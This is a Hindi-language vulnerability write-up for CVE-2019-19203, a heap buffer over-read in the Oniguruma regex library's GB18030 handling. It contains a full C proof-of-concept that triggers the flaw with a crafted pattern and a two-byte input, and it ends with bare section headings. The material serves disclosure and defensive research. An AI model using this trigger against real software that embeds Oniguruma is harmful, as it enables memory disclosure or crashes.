CVE-2019-19203

Oniguruma 6.x में 6.9.4_rc2 से पहले एक समस्या पाई गई। फ़ंक्शन gb18030_mbc_enc_len में फ़ाइल gb18030.c में, एक UChar पॉइंटर को बिना यह जाँचे dereference किया जाता है कि वह मिलान किए गए स्ट्रिंग के अंत से आगे निकल गया है। इससे heap-based buffer over-read होता है।

शोधकर्ता: ManhND of The Tarantula Team, VinCSS (a member of Vingroup)

Oniguruma क्या है

K. Kosako द्वारा निर्मित Oniguruma एक BSD लाइसेंस प्राप्त रेगुलर एक्सप्रेशन लाइब्रेरी है जो विभिन्न कैरेक्टर एन्कोडिंग का समर्थन करती है। रूबी प्रोग्रामिंग भाषा, संस्करण 1.9 में, साथ ही PHP का मल्टी-बाइट स्ट्रिंग मॉड्यूल (PHP5 के बाद से), अपने रेगुलर एक्सप्रेशन इंजन के रूप में Oniguruma का उपयोग करते हैं। इसका उपयोग Atom, GyazMail Take Command Console, Tera Term, TextMate, Sublime Text और SubEthaEdit जैसे उत्पादों में भी किया जाता है।

प्रूफ ऑफ कॉन्सेप्ट

स्रोत कोड:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "oniguruma.h"

static int
search(regex_t* reg, unsigned char* str, unsigned char* end)
{
  int r;
  unsigned char *start, *range;
  OnigRegion *region;

  region = onig_region_new();

  start = str;
  range = end;
  r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
  if (r >= 0 ) {
    int i;

    fprintf(stdout, "match at %d  (%s)\n", r,
            ONIGENC_NAME(onig_get_encoding(reg)));
    for (i = 0; i < region->num_regs; i++) {
      fprintf(stdout, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
    }
  }
  else if (r == ONIG_MISMATCH) {
    fprintf(stdout, "search fail (%s)\n",
            ONIGENC_NAME(onig_get_encoding(reg)));
  }
  else { /* error */
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r);
    fprintf(stdout, "ERROR: %s\n", s);
    fprintf(stdout, "  (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
    
    onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
    return -1;
  }

  onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
  return 0;
}

int main(int argc, char* argv[])
{
  int r;
  regex_t* reg;
  OnigErrorInfo einfo;

  char *pattern = (char*)malloc(6);
  memcpy(pattern, "[\\W]\\w", 6);
  char *pattern_end = pattern + 6;
  OnigEncodingType *enc = ONIG_ENCODING_GB18030;

  char* str = (char*)malloc(2);
  memcpy(str, "\xe1\xe1", 2);
  char* str_end = str+2;

  onig_initialize(&enc, 1);
  r = onig_new(&reg, (unsigned char *)pattern, (unsigned char *)pattern_end,
               ONIG_OPTION_NONE, enc, ONIG_SYNTAX_DEFAULT, &einfo);
  if (r != ONIG_NORMAL) {
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r, &einfo);
    fprintf(stdout, "ERROR: %s\n", s);
    onig_end();

    if (r == ONIGERR_PARSER_BUG ||
        r == ONIGERR_STACK_BUG  ||
        r == ONIGERR_UNDEFINED_BYTECODE ||
        r == ONIGERR_UNEXPECTED_BYTECODE) {
      return -2;
    }
    else
      return -1;
  }

  if (onigenc_is_valid_mbc_string(enc, str, str_end) != 0) {
    r = search(reg, str, str_end);
  } else {
    fprintf(stdout, "Invalid string\n");
  }

  onig_free(reg);
  onig_end();
  return 0;
}

CVE-2019-19203

सबसे लोकप्रिय

मूल कारण